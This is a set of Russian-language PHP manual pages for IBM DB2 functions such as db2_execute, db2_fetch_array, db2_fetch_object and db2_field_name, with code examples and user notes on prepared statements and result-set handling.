  • Функции IBM DB2
  • Выполняет подготовленный SQL-запрос

db2_execute

(PECL ibm_db2 >= 1.0.0)

db2_execute — Выполняет подготовленный SQL-запрос

Описание

db2_execute(resource $stmt, array $parameters = []): bool

db2_execute() выполняет SQL-запрос, подготовленный с помощью db2_prepare().

Если SQL-запрос возвращает набор результатов, например, инструкция SELECT или CALL для хранимой процедуры, которая возвращает один или несколько наборов результатов, вы можете получить строку как массив из ресурса stmt, используя db2_fetch_assoc(), db2_fetch_both()или db2_fetch_array(). В качестве альтернативы вы можете использовать db2_fetch_row() для перемещения указателя набора результатов на следующую строку и выборки столбца из этой строки с помощью db2_result().

Обратитесь к db2_prepare() для краткого обсуждения преимуществ использования db2_prepare() и db2_execute() вместо db2_exec().

Список параметров

stmt

Подготовленный запрос, возвращаемый функцией db2_prepare().

parameters

Массив входных параметров, соответствующих любым маркерам параметров, содержащимся в подготовленном запросе.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Подготовка и выполнение SQL-запроса с маркерами параметров

В следующем примере подготавливается запрос INSERT, который принимает четыре маркера параметров, а затем выполняет итерацию по массиву массивов, содержащих входные значения, которые необходимо передать в db2_execute().

<?php
$pet = array(0, 'cat', 'Pook', 3.2);

$insert = 'INSERT INTO animals (id, breed, name, weight)
VALUES (?, ?, ?, ?)';

$stmt = db2_prepare($conn, $insert);
if ($stmt) {
$result = db2_execute($stmt, $pet);
if ($result) {
print "Успешно добавлен новый питомец.";
}
}
?>

Результат выполнения данного примера:

Успешно добавлен новый питомец.

Пример #2 Вызов хранимой процедуры с параметром OUT

В следующем примере подготавливается запрос CALL, который принимает один маркер параметра, представляющий параметр OUT, связывает переменную PHP $my_pets с параметром с помощью db2_bind_param(), а затем вызывает db2_execute() для выполнения запроса CALL. После выполнения запроса CALL хранимой процедуры значение $num_pets изменяется, чтобы отразить значение, возвращаемое хранимой процедурой для этого параметра OUT.

<?php
$num_pets = 0;
$res = db2_prepare($conn, "CALL count_my_pets(?)");
$rc = db2_bind_param($res, 1, "num_pets", DB2_PARAM_OUT);
$rc = db2_execute($res);
print "У меня $num_pets домашних животных!";
?>

Результат выполнения данного примера:

У меня 7 домашних животных!

Пример #3 Возврат XML-данных как SQL ResultSet

В следующем примере показано, как работать с документами, хранящимися в столбце XML с помощью базы данных SAMPLE. Используя довольно простой SQL/XML, этот пример возвращает некоторые узлы в XML-документе в формате SQL ResultSet, с которым знакомо большинство пользователей.

<?php

$conn = db2_connect("SAMPLE", "db2inst1", "ibmdb2");

$query = 'SELECT * FROM XMLTABLE(
XMLNAMESPACES (DEFAULT \'http://posample.org\'),
\'db2-fn:xmlcolumn("CUSTOMER.INFO")/customerinfo\'
COLUMNS
"CID" VARCHAR (50) PATH \'@Cid\',
"NAME" VARCHAR (50) PATH \'name\',
"PHONE" VARCHAR (50) PATH \'phone [ @type = "work"]\'
) AS T
WHERE NAME = ?
';

$stmt = db2_prepare($conn, $query);

$name = 'Kathy Smith';

if ($stmt) {
db2_bind_param($stmt, 1, "name", DB2_PARAM_IN);
db2_execute($stmt);

while($row = db2_fetch_object($stmt)){
printf("$row->CID $row->NAME $row->PHONE\n");
}
}
db2_close($conn);

?>

Результат выполнения данного примера:

1000     Kathy Smith     416-555-1358
1001     Kathy Smith     905-555-7258

Пример #4 Выполнение "JOIN" с данными XML

Следующий пример работает с документами, хранящимися в 2 разных столбцах XML в базе данных SAMPLE. Он создаёт 2 временные таблицы из XML-документов из 2 разных столбца и возвращает SQL ResultSet с информацией о статусе доставки для клиента.

<?php

$conn = db2_connect("SAMPLE", "db2inst1", "ibmdb2");

$query = '
SELECT A.CID, A.NAME, A.PHONE, C.PONUM, C.STATUS
FROM
XMLTABLE(
XMLNAMESPACES (DEFAULT \'http://posample.org\'),
\'db2-fn:xmlcolumn("CUSTOMER.INFO")/customerinfo\'
COLUMNS
"CID" BIGINT PATH \'@Cid\',
"NAME" VARCHAR (50) PATH \'name\',
"PHONE" VARCHAR (50) PATH \'phone [ @type = "work"]\'
) as A,
PURCHASEORDER AS B,
XMLTABLE (
XMLNAMESPACES (DEFAULT \'http://posample.org\'),
\'db2-fn:xmlcolumn("PURCHASEORDER.PORDER")/PurchaseOrder\'
COLUMNS
"PONUM" BIGINT PATH \'@PoNum\',
"STATUS" VARCHAR (50) PATH \'@Status\'
) as C
WHERE A.CID = B.CUSTID AND
B.POID = C.PONUM AND
A.NAME = ?
';

$stmt = db2_prepare($conn, $query);

$name = 'Kathy Smith';

if ($stmt) {
db2_bind_param($stmt, 1, "name", DB2_PARAM_IN);
db2_execute($stmt);

while($row = db2_fetch_object($stmt)){
printf("$row->CID $row->NAME $row->PHONE $row->PONUM $row->STATUS\n");
}
}

db2_close($conn);

?>

Результат выполнения данного примера:

1001     Kathy Smith     905-555-7258     5002     Shipped

Пример #5 Возврат SQL-данных как части большого XML-документа

Следующий пример работает с частью документов PRODUCT.DESCRIPTION в базе данных SAMPLE. Он создаёт XML-документ, содержащий описание продукта (данные XML) и информацию о ценах (данные SQL).

<?php

$conn = db2_connect("SAMPLE", "db2inst1", "ibmdb2");

$query = '
SELECT
XMLSERIALIZE(
XMLQUERY(\'
declare boundary-space strip;
declare default element namespace "http://posample.org";
<promoList> {
for $prod in $doc/product
where $prod/description/price < 10.00
order by $prod/description/price ascending
return(
<promoitem> {
$prod,
<startdate> {$start} </startdate>,
<enddate> {$end} </enddate>,
<promoprice> {$promo} </promoprice>
} </promoitem>
)
} </promoList>
\' passing by ref DESCRIPTION AS "doc",
PROMOSTART as "start",
PROMOEND as "end",
PROMOPRICE as "promo"
RETURNING SEQUENCE)
AS CLOB (32000))
AS NEW_PRODUCT_INFO
FROM PRODUCT
WHERE PID = ?
';

$stmt = db2_prepare($conn, $query);

$pid = "100-100-01";

if ($stmt) {
db2_bind_param($stmt, 1, "pid", DB2_PARAM_IN);
db2_execute($stmt);

while($row = db2_fetch_array($stmt)){
printf("$row[0]\n");
}
}

db2_close($conn);

?>

Результат выполнения данного примера:

<promoList xmlns="http://posample.org">
    <promoitem>
    <product pid="100-100-01">
        <description>
            <name>Snow Shovel, Basic 22 inch</name>
            <details>Basic Snow Shovel, 22 inches wide, straight handle with D-Grip</details>
            <price>9.99</price>
            <weight>1 kg</weight>
        </description>
    </product>
    <startdate>2004-11-19</startdate>
    <enddate>2004-12-19</enddate>
    <promoprice>7.25</promoprice>
    </promoitem>
</promoList>

Смотрите также

  • db2_exec() - Выполняет SQL-запрос напрямую
  • db2_fetch_array() - Возвращает массив, индексированный по положению столбца, представляющий строку в наборе результатов
  • db2_fetch_assoc() - Возвращает массив, индексированный по имени столбца, представляющий строку в наборе результатов
  • db2_fetch_both() - Возвращает массив, индексированный как по имени столбца, так и по позиции, представляющий строку в наборе результатов
  • db2_fetch_row() - Устанавливает указатель набора результатов на следующую строку или запрошенную строку
  • db2_prepare() - Подготавливает SQL-запрос к выполнению
  • db2_result() - Возвращает один столбец из строки в наборе результатов

User Contributed Notes

stefanov at uk dot ibm dot com 20-Jan-2016 07:26
You CANNOT bind parameters for table and/or column names. Binding parameters only works for values:

YES: $sqlQuery = "UPDATE ".TB_NAME." SET ".CN_NAME." = ? WHERE DAY = ?";
NO: $sqlQuery = "UPDATE ? SET ? = ? WHERE DAY = ?";

Any attempt to bind column or table names will result in the following error during db2_execute():
PHP Warning:  db2_bind_param(): Describe Param Failed in ...


Возвращает массив, индексированный по положению столбца, представляющий строку в наборе результатов

  • « db2_execute
  • db2_fetch_assoc »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает массив, индексированный по положению столбца, представляющий строку в наборе результатов

db2_fetch_array

(PECL ibm_db2 >= 1.0.1)

db2_fetch_array — Возвращает массив, индексированный по положению столбца, представляющий строку в наборе результатов

Описание

db2_fetch_array(resource $stmt, int $row_number = -1): array|false

Возвращает массив, индексированный по положению столбца, представляющий строку в наборе результатов. Индекс столбцов начинается с 0.

Список параметров

stmt

Допустимый ресурс stmt, содержащий набор результатов.

row_number

Запрашивает конкретную строку по индексу (начинается с 1) из набора результатов. Передача параметра приводит к предупреждению PHP, если в наборе результатов используется курсор "forward-only".

Возвращаемые значения

Возвращает индексированный массив (начинается с 0) со значениями столбцов, индексированными по позиции столбца, представляющий следующую или запрошенную строку в наборе результатов. Возвращает false, если в наборе результатов не осталось строк или если строка, запрошенная row_number, не существует в наборе результатов.

Примеры

Пример #1 Перебор курсором "forward-only"

Если вы вызываете db2_fetch_array() без определённого номера строки, он автоматически получает следующую строку в наборе результатов.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$stmt = db2_prepare($conn, $sql);
$result = db2_execute($stmt);

while ($row = db2_fetch_array($stmt)) {
printf ("%-5d %-16s %-32s %10s\n",
$row[0], $row[1], $row[2], $row[3]);
}
?>

Результат выполнения данного примера:

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

Пример #2 Получение определённых строк с помощью db2_fetch_array() из прокручиваемого курсора

Если в вашем наборе результатов используется прокручиваемый курсор, вы можете вызвать db2_fetch_array() с определённым номером строки. В следующем примере извлекается каждая вторая строка в наборе результатов, начиная со второй строки.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$result = db2_exec($stmt, $sql, array('cursor' => DB2_SCROLLABLE));

$i=2;
while ($row = db2_fetch_array($result, $i)) {
printf ("%-5d %-16s %-32s %10s\n",
$row[0], $row[1], $row[2], $row[3]);
$i = $i + 2;
}
?>

Результат выполнения данного примера:

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

Смотрите также

  • db2_fetch_assoc() - Возвращает массив, индексированный по имени столбца, представляющий строку в наборе результатов
  • db2_fetch_both() - Возвращает массив, индексированный как по имени столбца, так и по позиции, представляющий строку в наборе результатов
  • db2_fetch_object() - Возвращает объект со свойствами, представляющими столбцы в выбранной строке
  • db2_fetch_row() - Устанавливает указатель набора результатов на следующую строку или запрошенную строку
  • db2_result() - Возвращает один столбец из строки в наборе результатов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает массив, индексированный по имени столбца, представляющий строку в наборе результатов

  • « db2_fetch_array
  • db2_fetch_both »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает массив, индексированный по имени столбца, представляющий строку в наборе результатов

db2_fetch_assoc

(PECL ibm_db2 >= 1.0.0)

db2_fetch_assoc — Возвращает массив, индексированный по имени столбца, представляющий строку в наборе результатов

Описание

db2_fetch_assoc(resource $stmt, int $row_number = -1): array|false

Возвращает массив, индексированный по имени столбца, представляющий строку в наборе результатов.

Список параметров

stmt

Допустимый ресурс stmt, содержащий набор результатов.

row_number

Запрашивает конкретную строку по индексу (начинается с 1) из набора результатов. Передача параметра приводит к предупреждению PHP, если в наборе результатов используется курсор "forward-only".

Возвращаемые значения

Возвращает ассоциативный массив со значениями столбцов, проиндексированными по имени столбца, представляющий следующую или запрошенную строку в наборе результатов. Возвращает false, если в наборе результатов не осталось строк или если строка, запрошенная row_number, не существует в наборе результатов.

Примеры

Пример #1 Перебор курсором "forward-only"

Если вы вызываете db2_fetch_assoc() без определённого номера строки, он автоматически получает следующую строку в наборе результатов.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$stmt = db2_prepare($conn, $sql);
$result = db2_execute($stmt);

while ($row = db2_fetch_assoc($stmt)) {
printf ("%-5d %-16s %-32s %10s\n",
$row['ID'], $row['NAME'], $row['BREED'], $row['WEIGHT']);
}
?>

Результат выполнения данного примера:

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

Пример #2 Получение определённых строк с помощью db2_fetch_assoc() из прокручиваемого курсора

Если в вашем наборе результатов используется прокручиваемый курсор, вы можете вызвать db2_fetch_assoc() с определённым номером строки. В следующем примере извлекается каждая вторая строка в наборе результатов, начиная со второй строки.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$result = db2_exec($stmt, $sql, array('cursor' => DB2_SCROLLABLE));

$i=2;
while ($row = db2_fetch_assoc($result, $i)) {
printf ("%-5d %-16s %-32s %10s\n",
$row['ID'], $row['NAME'], $row['BREED'], $row['WEIGHT']);
$i = $i + 2;
}
?>

Результат выполнения данного примера:

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

Смотрите также

  • db2_fetch_array() - Возвращает массив, индексированный по положению столбца, представляющий строку в наборе результатов
  • db2_fetch_both() - Возвращает массив, индексированный как по имени столбца, так и по позиции, представляющий строку в наборе результатов
  • db2_fetch_object() - Возвращает объект со свойствами, представляющими столбцы в выбранной строке
  • db2_fetch_row() - Устанавливает указатель набора результатов на следующую строку или запрошенную строку
  • db2_result() - Возвращает один столбец из строки в наборе результатов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает массив, индексированный как по имени столбца, так и по позиции, представляющий строку в наборе результатов

  • « db2_fetch_assoc
  • db2_fetch_object »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает массив, индексированный как по имени столбца, так и по позиции, представляющий строку в наборе результатов

db2_fetch_both

(PECL ibm_db2 >= 1.0.0)

db2_fetch_both — Возвращает массив, индексированный как по имени столбца, так и по позиции, представляющий строку в наборе результатов

Описание

db2_fetch_both(resource $stmt, int $row_number = -1): array|false

Возвращает массив, индексированный как по имени столбца, так и по позиции, представляющий строку в наборе результатов. Обратите внимание, что строка, возвращаемая db2_fetch_both(), требует больше памяти, чем массивы с одним индексом, возвращаемые db2_fetch_assoc() или db2_fetch_array().

Список параметров

stmt

Допустимый ресурс stmt, содержащий набор результатов.

row_number

Запрашивает конкретную строку по индексу (начинается с 1) из набора результатов. Передача параметра приводит к предупреждению PHP, если в наборе результатов используется курсор "forward-only".

Возвращаемые значения

Возвращает ассоциативный массив со значениями столбцов, проиндексированными как по имени столбца, так и по индексу столбца (начиная с 0). Массив представляет следующую или запрошенную строку в наборе результатов. Возвращает false, если в наборе результатов не осталось строк или если строка, запрошенная row_number, не существует в наборе результатов.

Примеры

Пример #1 Перебор курсором "forward-only"

Если вы вызываете db2_fetch_both() без определённого номера строки, он автоматически получает следующую строку в наборе результатов. В следующем примере доступ к столбцам в возвращаемом массиве осуществляется как по имени столбца, так и по числовому индексу.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$stmt = db2_prepare($conn, $sql);
$result = db2_execute($stmt);

while ($row = db2_fetch_both($stmt)) {
printf ("%-5d %-16s %-32s %10s\n",
$row['ID'], $row[0], $row['BREED'], $row[3]);
}
?>

Результат выполнения данного примера:

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

Пример #2 Получение определённых строк с помощью db2_fetch_both() из прокручиваемого курсора

Если в вашем наборе результатов используется прокручиваемый курсор, вы можете вызвать db2_fetch_both() с определённым номером строки. В следующем примере извлекается каждая вторая строка в наборе результатов, начиная со второй строки.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$result = db2_exec($stmt, $sql, array('cursor' => DB2_SCROLLABLE));

$i=2;
while ($row = db2_fetch_both($result, $i)) {
printf ("%-5d %-16s %-32s %10s\n",
$row[0], $row['NAME'], $row[2], $row['WEIGHT']);
$i = $i + 2;
}
?>

Результат выполнения данного примера:

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

Смотрите также

  • db2_fetch_array() - Возвращает массив, индексированный по положению столбца, представляющий строку в наборе результатов
  • db2_fetch_assoc() - Возвращает массив, индексированный по имени столбца, представляющий строку в наборе результатов
  • db2_fetch_object() - Возвращает объект со свойствами, представляющими столбцы в выбранной строке
  • db2_fetch_row() - Устанавливает указатель набора результатов на следующую строку или запрошенную строку
  • db2_result() - Возвращает один столбец из строки в наборе результатов

User Contributed Notes

eacosta at openware dot biz 05-Jun-2008 08:55
Hello,

Some weeks ago I faced difficulties with walk a big number of
records from a result set.

I was using the function db2_fetch_both in a method of a database adapter
class to retrieve just one record at a time. The total number of records
were: 5647 and when I reach record number 1600 the function crashed
generating the below message in "Actual result" field.

I am copying table's description next:

TMP_TABLE
-----------------------------------------------------------------
| ID        | TYPE        | SIZE        | NULL        |
-----------------------------------------------------------------
| ID        | INTEGER    | 4        | NO        |
| SERVICE    | VARCHAR    | 30        | NO        |
| ID_v        | VARCHAR    | 30        | NO        |
| INFORMATION    | CLOB        | 65536        | YES        |
| EXP_LEVEL    | INTEGER    | 4        | NO        |
| IP4B        | BIGINT    | 8        | NO        |
| MODIFIED    | INTEGER    | 4        | YES        |
| DETAIL    | VARCHAR    | 200        | YES        |
| FALSPOS    | INTEGER    | 4        | YES        |
-----------------------------------------------------------------

When it crashed I received this message from db2_fetch_both

db2_fetch_array() [function.db2-fetch-array]: Fetch Failure

After reported this message to IBM OpenDev I was helped by a OpenDev IBMer who noticed me
that it wasn't a ibm_db2 module problem, in fact it was a database configuration
issue. The OpenDev IBMer looked into my DB2 Client CLI TRACE files and found out what was happen.
So I had to modify APP_CTL_HEAP_SZ and everything seems to works fine now.

--
Esteban Acosta Villafane
Area I+D
http://www.openware.biz/opendev
Linkein Profile: http://www.linkedin.com/in/estebanav


Возвращает объект со свойствами, представляющими столбцы в выбранной строке

  • « db2_fetch_both
  • db2_fetch_row »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает объект со свойствами, представляющими столбцы в выбранной строке

db2_fetch_object

(PECL ibm_db2 >= 1.0.0)

db2_fetch_object — Возвращает объект со свойствами, представляющими столбцы в выбранной строке

Описание

db2_fetch_object(resource $stmt, int $row_number = -1): stdClass|false

Возвращает объект, в котором каждое свойство представляет столбец, возвращённый в строке, полученной из набора результатов.

Список параметров

stmt

Допустимый ресурс stmt, содержащий набор результатов.

row_number

Запрашивает конкретную строку по индексу (начинается с 1) из набора результатов. Передача параметра приводит к предупреждению PHP, если в наборе результатов используется курсор "forward-only".

Возвращаемые значения

Возвращает объект, представляющий одну строку в наборе результатов. Свойства объекта сопоставляются с именами столбцов в наборе результатов.

Серверы баз данных IBM DB2, Cloudscape и Apache Derby обычно переводят имена столбцов в верхний регистр, поэтому свойства объекта будут отражать этот регистр.

Если запрос SELECT вызывает скалярную функцию для изменения значения столбца, серверы баз данных возвращают номер столбца как имя столбца в наборе результатов. Если требуется более осмысленное имя столбца и свойство объекта, вы можете использовать конструкцию AS, чтобы присвоить имя столбцу в наборе результатов.

Возвращает false, если ни одна строка не была получена.

Примеры

Пример #1 Пример использования db2_fetch_object()

В следующем примере выполняется запрос SELECT со скалярной функцией RTRIM, которая удаляет пробелы в конце столбца. Вместо того, чтобы создавать объект со свойствами "BREED" и "2", мы используем конструкцию AS в запросе SELECT для присвоения имени "name" изменённому столбцу. Сервер базы данных переводит имена столбцов в верхний регистр, в результате чего получается объект со свойствами "BREED" и "NAME".

<?php
$conn = db2_connect($database, $user, $password);

$sql = "SELECT breed, RTRIM(name) AS name
FROM animals
WHERE id = ?";

if ($conn) {
$stmt = db2_prepare($conn, $sql);
db2_execute($stmt, array(0));

while ($pet = db2_fetch_object($stmt)) {
echo "Иди сюда, {$pet->NAME}, мой маленький {$pet->BREED}!";
}
db2_close($conn);
}
?>

Результат выполнения данного примера:

Иди сюда, Пушок, мой маленький котёнок!

Смотрите также

  • db2_fetch_array() - Возвращает массив, индексированный по положению столбца, представляющий строку в наборе результатов
  • db2_fetch_assoc() - Возвращает массив, индексированный по имени столбца, представляющий строку в наборе результатов
  • db2_fetch_both() - Возвращает массив, индексированный как по имени столбца, так и по позиции, представляющий строку в наборе результатов
  • db2_fetch_row() - Устанавливает указатель набора результатов на следующую строку или запрошенную строку
  • db2_result() - Возвращает один столбец из строки в наборе результатов

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает указатель набора результатов на следующую строку или запрошенную строку

  • « db2_fetch_object
  • db2_field_display_size »
  • PHP Manual
  • Функции IBM DB2
  • Устанавливает указатель набора результатов на следующую строку или запрошенную строку

db2_fetch_row

(PECL ibm_db2 >= 1.0.0)

db2_fetch_row — Устанавливает указатель набора результатов на следующую строку или запрошенную строку

Описание

db2_fetch_row(resource $stmt, int $row_number = -1): bool

Используйте db2_fetch_row() для итерации по набору результатов или для указания на определённую строку в наборе результатов, если вы запросили прокручиваемый курсор.

Чтобы получить отдельные поля из набора результатов, вызовите функцию db2_result().

Вместо того, чтобы вызывать db2_fetch_row() и
db2_result(), большинство приложений будет вызывать одну
из функций db2_fetch_assoc(), db2_fetch_both()
или db2_fetch_array(), чтобы продвинуть указатель набора результатов
и вернуть полную строку в виде массива.

Список параметров

stmt

Допустимый ресурс stmt.

row_number

С помощью прокручиваемых курсоров вы можете запросить конкретный номер строки в наборе результатов. Нумерация строк начинается с 1.

Возвращаемые значения

Возвращает true, если запрошенная строка существует в наборе результатов. Возвращает false, если запрошенная строка не существует в наборе результатов.

Примеры

Пример #1 Итерации по набору результатов

В следующем примере показано, как выполнить итерацию по набору результатов с помощью db2_fetch_row() и получить столбцы из набора результатов с помощью db2_result().

<?php
$sql = 'SELECT name, breed FROM animals WHERE weight < ?';
$stmt = db2_prepare($conn, $sql);
db2_execute($stmt, array(10));
while (db2_fetch_row($stmt)) {
$name = db2_result($stmt, 0);
$breed = db2_result($stmt, 1);
print "$name $breed";
}
?>

Результат выполнения данного примера:

cat Pook
gold fish Bubbles
budgerigar Gizmo
goat Rickety Ride

Пример #2 Рекомендуемые альтернативы db2_fetch_row/db2_result для i5/OS

В i5/OS рекомендуется использовать db2_fetch_both(),
db2_fetch_array() или db2_fetch_object()
вместо db2_fetch_row()/db2_result().
Обычно у db2_fetch_row()/db2_result() больше проблем
с различными типами столбцов при преобразовании EBCIDIC в ASCII,
включая возможное усечение в DBCS приложениях.
Вы также можете обнаружить, что производительность db2_fetch_both(),
db2_fetch_array() и db2_fetch_object()
превосходит db2_fetch_row()/db2_result().

<?php
$conn = db2_connect("","","");
$sql = 'SELECT SPECIFIC_SCHEMA, SPECIFIC_NAME, ROUTINE_SCHEMA, ROUTINE_NAME, ROUTINE_TYPE, ROUTINE_CREATED, ROUTINE_BODY, IN_PARMS, OUT_PARMS, INOUT_PARMS, PARAMETER_STYLE, EXTERNAL_NAME, EXTERNAL_LANGUAGE FROM QSYS2.SYSROUTINES FETCH FIRST 2 ROWS ONLY';
$stmt = db2_exec($conn, $sql, array('cursor' => DB2_SCROLLABLE));
while ($row = db2_fetch_both($stmt)){
echo "<br>db2_fetch_both {$row['SPECIFIC_NAME']} {$row['ROUTINE_CREATED']} {$row[5]}";
}
$stmt = db2_exec($conn, $sql, array('cursor' => DB2_SCROLLABLE));
while ($row = db2_fetch_array($stmt)){
echo "<br>db2_fetch_array {$row[1]} {$row[5]}";
}
$stmt = db2_exec($conn, $sql, array('cursor' => DB2_SCROLLABLE));
while ($row = db2_fetch_object($stmt)){
echo "<br>db2_fetch_object {$row->SPECIFIC_NAME} {$row->ROUTINE_CREATED}";
}
db2_close($conn);
?>

Результат выполнения данного примера:

db2_fetch_both MATCH_ANIMAL 2006-08-25-17.10.23.775000 2006-08-25-17.10.23.775000
db2_fetch_both MULTIRESULTS 2006-10-17-10.11.05.308000 2006-10-17-10.11.05.308000
db2_fetch_array MATCH_ANIMAL 2006-08-25-17.10.23.775000
db2_fetch_array MULTIRESULTS 2006-10-17-10.11.05.308000
db2_fetch_object MATCH_ANIMAL 2006-08-25-17.10.23.775000
db2_fetch_object MULTIRESULTS 2006-10-17-10.11.05.308000

Смотрите также

  • db2_fetch_array() - Возвращает массив, индексированный по положению столбца, представляющий строку в наборе результатов
  • db2_fetch_assoc() - Возвращает массив, индексированный по имени столбца, представляющий строку в наборе результатов
  • db2_fetch_both() - Возвращает массив, индексированный как по имени столбца, так и по позиции, представляющий строку в наборе результатов
  • db2_fetch_object() - Возвращает объект со свойствами, представляющими столбцы в выбранной строке
  • db2_result() - Возвращает один столбец из строки в наборе результатов

User Contributed Notes

krisdover at hotmail dot com 21-Jan-2007 12:54
if the second parameter (the row number) is specified, your connection needs to have the CURSOR option set to DB2_SCROLLABLE. Otherwise all calls to this function will fail. Internal to the ibm_db2 extension module the db2cli api function SQLFetchScroll() generates the error "CLI0145E  Fetch type out of range" since it requires a scrollable resultset to work, instead of the default forward only resultset.

hope this saves someone the time it took me to track this down in the db2cli traces.

Regards,
Kris Dover
andrey at php dot net 26-Nov-2005 01:11
If the second parameter is 0 or NULL (which eventually evaluates to 0) then the internal pointer is moved forward. < 0 value will return an warning.


Возвращает максимальное количество байтов, необходимое для отображения столбца

  • « db2_fetch_row
  • db2_field_name »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает максимальное количество байтов, необходимое для отображения столбца

db2_field_display_size

(PECL ibm_db2 >= 1.0.0)

db2_field_display_size — Возвращает максимальное количество байтов, необходимое для отображения столбца

Описание

db2_field_display_size(resource $stmt, int|string $column): int|false

Возвращает максимальное количество байтов, необходимое для отображения столбца в наборе результатов.

Список параметров

stmt

Задаёт ресурс оператора, содержащий набор результатов.

column

Задаёт столбец в наборе результатов. Это может быть целое число, представляющее индекс столбца (начиная с 0) или строка, содержащая имя столбца.

Возвращаемые значения

Возвращает целочисленное значение с максимальным количеством байтов, необходимых для отображения указанного столбца. Если указанный столбец не существует в наборе результатов, db2_field_display_size() возвращает false.

Смотрите также

  • db2_field_name() - Возвращает имя столбца в наборе результатов
  • db2_field_num() - Возвращает позицию указанного столбца в наборе результатов
  • db2_field_precision() - Возвращает точность указанного столбца в наборе результатов
  • db2_field_scale() - Возвращает масштаб указанного столбца в наборе результатов
  • db2_field_type() - Возвращает тип данных указанного столбца в наборе результатов
  • db2_field_width() - Возвращает ширину текущего значения указанного столбца в наборе результатов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя столбца в наборе результатов

  • « db2_field_display_size
  • db2_field_num »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает имя столбца в наборе результатов

db2_field_name

(PECL ibm_db2 >= 1.0.0)

db2_field_name — Возвращает имя столбца в наборе результатов

Описание

db2_field_name(resource $stmt, int|string $column): string|false

Возвращает имя указанного столбца в наборе результатов.

Список параметров

stmt

Задаёт ресурс оператора, содержащий набор результатов.

column

Задаёт столбец в наборе результатов. Это может быть целое число, представляющее индекс столбца (начиная с 0) или строка, содержащая имя столбца.

Возвращаемые значения

Возвращает строку, содержащую имя указанного столбца. Если указанный столбец не существует в наборе результатов, db2_field_name() возвращает false.

Смотрите также

  • db2_field_display_size() - Возвращает максимальное количество байтов, необходимое для отображения столбца
  • db2_field_num() - Возвращает позицию указанного столбца в наборе результатов
  • db2_field_precision() - Возвращает точность указанного столбца в наборе результатов
  • db2_field_scale() - Возвращает масштаб указанного столбца в наборе результатов
  • db2_field_type() - Возвращает тип данных указанного столбца в наборе результатов
  • db2_field_width() - Возвращает ширину текущего значения указанного столбца в наборе результатов

User Contributed Notes

andryzulfikar at gmail dot com 28-Jun-2012 08:14
example:

<?php
// select all fields from salay table
$sql = "SELECT * FROM SALARY";

$stmt = db2_prepare($conn,$sql);

if(db2_execute($stmt)){
    $columns = db2_num_fields($stmt);
    for($i=0;$i<$columns;$i++){
        $fieldName[] = db2_field_name($stmt,$i);
    }
    print_r($fieldName);
}else{
    echo db2_stmt_errormsg();
}

/* output
* Array ( [0] => ID [1] => USERID [2] => VALUE )
*/
?>


Возвращает позицию указанного столбца в наборе результатов

  • « db2_field_name
  • db2_field_precision »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает позицию указанного столбца в наборе результатов

db2_field_num

(PECL ibm_db2 >= 1.0.0)

db2_field_num — Возвращает позицию указанного столбца в наборе результатов

Описание

db2_field_num(resource $stmt, int|string $column): int|false

Возвращает позицию указанного столбца в наборе результатов.

Список параметров

stmt

Задаёт ресурс оператора, содержащий набор результатов.

column

Задаёт столбец в наборе результатов. Это может быть целое число, представляющее индекс столбца (начиная с 0) или строка, содержащая имя столбца.

Возвращаемые значения

Возвращает целое число, содержащее индекс (начиная с 0) указанного столбца в наборе результатов. Если указанный столбец не существует в наборе результатов, db2_field_num() возвращает false.

Смотрите также

  • db2_field_display_size() - Возвращает максимальное количество байтов, необходимое для отображения столбца
  • db2_field_name() - Возвращает имя столбца в наборе результатов
  • db2_field_precision() - Возвращает точность указанного столбца в наборе результатов
  • db2_field_scale() - Возвращает масштаб указанного столбца в наборе результатов
  • db2_field_type() - Возвращает тип данных указанного столбца в наборе результатов
  • db2_field_width() - Возвращает ширину текущего значения указанного столбца в наборе результатов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает точность указанного столбца в наборе результатов

  • « db2_field_num
  • db2_field_scale »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает точность указанного столбца в наборе результатов

db2_field_precision

(PECL ibm_db2 >= 1.0.0)

db2_field_precision — Возвращает точность указанного столбца в наборе результатов

Описание

db2_field_precision(resource $stmt, int|string $column): int|false

Возвращает точность указанного столбца в наборе результатов.

Список параметров

stmt

Задаёт ресурс оператора, содержащий набор результатов.

column

Задаёт столбец в наборе результатов. Это может быть целое число, представляющее индекс столбца (начиная с 0) или строка, содержащая имя столбца.

Возвращаемые значения

Возвращает целое число, содержащее точность указанного столбца. Если указанный столбец не существует в наборе результатов, db2_field_precision() возвращает false.

Смотрите также

  • db2_field_display_size() - Возвращает максимальное количество байтов, необходимое для отображения столбца
  • db2_field_name() - Возвращает имя столбца в наборе результатов
  • db2_field_num() - Возвращает позицию указанного столбца в наборе результатов
  • db2_field_scale() - Возвращает масштаб указанного столбца в наборе результатов
  • db2_field_type() - Возвращает тип данных указанного столбца в наборе результатов
  • db2_field_width() - Возвращает ширину текущего значения указанного столбца в наборе результатов

User Contributed Notes

There are no user contributed notes for this page.


